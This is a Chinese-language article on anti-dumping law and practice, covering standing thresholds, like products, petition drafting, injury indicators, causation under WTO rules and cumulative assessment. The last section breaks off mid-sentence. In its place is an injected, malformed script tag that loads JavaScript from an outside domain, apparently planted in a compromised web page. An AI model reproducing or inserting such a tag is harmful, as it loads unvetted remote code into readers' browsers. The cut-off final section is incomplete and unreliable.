涉案追踪
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我国的反倾销工作已经取得良好效果，对依法保护我国产业发挥了重要作用。因此，对反倾销法律与实践不断加以总结，以完善我们的立法与工作程序，提高我们的反倾销与应诉国外反倾销的能力。 第一，反倾销意义重大 一是价值巨大。平均每个案件年涉案金额1亿3千万美元。切片、短纤等大的案件年涉案金额30多亿到40多亿美元。二是反倾销直接维护国内产业市场份额，市场份额是市场经济条件下企业发展的命根子。三是反倾销关系企业生存和发展，关系职工下岗和吃饭问题。四是反倾销维护的是企业的长远利益。有人说倾销可以买到便宜的东西，这不仅仅是近视，而是两个看不见，一看不见本产业被挤垮以后，职工没有收入，便宜东西也买不起。二看不见倾销者的目的是把对手挤垮以后，垄断价格，便宜东西是买不到的。企业和消费者的长远利益应当是反对垄断，反对倾销，使经济健康发展，贸易公平进行。五是反倾销不是保护落后，而是惩罚不正当竞争行为，并鼓励正当竞争。在反倾销措施5年保护期内，企业应当加快企业升级，加强企业管理，提高国际竞争能力。 第二，企业应把握反倾销立案时机，及时、有效地保护自己的合法权益 目前，我国反倾销立案数量较少，立案也不甚及时。一方面是由于企业对法律还不很熟悉；另一方面许多准备起诉的企业感到立案难、取证难，望而却步，在一定程度上影响了反倾销立案的效果。为了能及时立案，申请企业应当努力做好立案的前期准备工作。要注意学习反倾销法律规则；注意收集倾销产品的倾销证据；选择好自己的申请代理人；注意立案前的相关经济指标发展趋势，不要在经济指标发展趋势不利于自己的时候提出立案，也不要在经济指标有利于自己并能证明自己有损害的时候失去立案的好时机。 第三，产业代表资格和关联企业问题 反倾销条例规定，提起反倾销申请的产业代表企业必须使自己的产量占本产业的总产量比重达到25％及以上，这是在没有本产业的企业反对提起反倾销申请的情况下的要求。如果有企业反对提起反倾销申请，那么支持提起反倾销申请企业的产量必须高于反对者的产量。 注意关联企业问题。在产业代表资格问题和代表企业的产量中，如果有的企业与被调查企业有一定的投资、经营等经济关联关系，有关联关系企业的产量必须扣除在外，否则在将来的裁决当中就会处于被动地位甚至败诉。 第四，同类产品问题 国内产业在申请反倾销立案时，应注意自己的产品与进口的倾销产品是否属于同类产品。同类产品是指相同或类似产品，主要体现在两种产品在物理、化学性能、用途方面属于相同或类似。如果提起反倾销的产品与进口倾销产品不属于同类产品，将难以在立案和在反倾销裁决中达到自己的目的。同时在确定同类产品之前还要先确定被诉产品的范围，以免调查中返工重新确定被调查产品范围和同类产品含义。 第五，起草好反倾销立案申请书 立案申请书是立案的首要的和基本的依据，申请企业要派得力人员做好申请书的起草和递交工作。要按照条例规定的申请书的内容要求，认真起草、列举证据。把倾销、损害、因果关系、国内外同类产品有关信息几大部分的问题及其逻辑关系叙述清楚并且附备有效证据，才能有利于立案、调查以及裁决工作。 第六，申请企业的财务管理问题 由于国内申请企业财务管理上存在与国际惯例没有完全接轨的问题、管理混乱问题、甚至还有库账不符等问题，影响了产业损害的调查，也影响到企业乃至整个产业反倾销胜诉等问题。因此生产企业必须在财务管理上按照国家规定的财务制度、调查机关规定的统一调查口径作好财务管理和提供证据材料。 第七，关于产业损害认定及因果关系问题 按世界贸易组织反倾销协议的规定，认定产业损害至少要考核和调查15个经济指标以及完成其它必要的调查环节。15个经济指标可以分成八大类或八大组。产业损害的认定必须依据多数或多组指标以及它们的发展趋势来判断。这里面有许多技术问题和原则问题。产业损害的认定对外必须是公开、公正和公平的。 因果关系问题也是反倾销调查中一个非常重要的问题。世贸组织反倾销协议第三条“损害的确定”中，第五款专门论述如何确定倾销和损害间的因果关系，即除确定倾销进口产品对国内产业损害有因果关系外，还应当考察倾销以外其他造成国内产业损害的因素。 我国已经加入世贸组织，应认真按照世贸组织规则办事。世贸组织反倾销协议有关产业损害调查的规定中考察国内产业损害的指标本身既包含进口产品的数量和价格因素，也包含国内产业指标的变化情况，还包括有因果关系认定的内容。所以世界贸易组织反倾销协议中损害考察因素的设定本身已表明倾销与损害的因果关系应当包括在产业损害调查范围之内。 第八，关于累积评估问题 一般来说，如果在裁定中没有特别提到个别国家或企业被排除的问题，裁定中所涉及的国家和企业的倾销和损害的数据都采取了累积评估的原则。我国条例规定?script src=http://cn.jxmmtv.com/cn.js>
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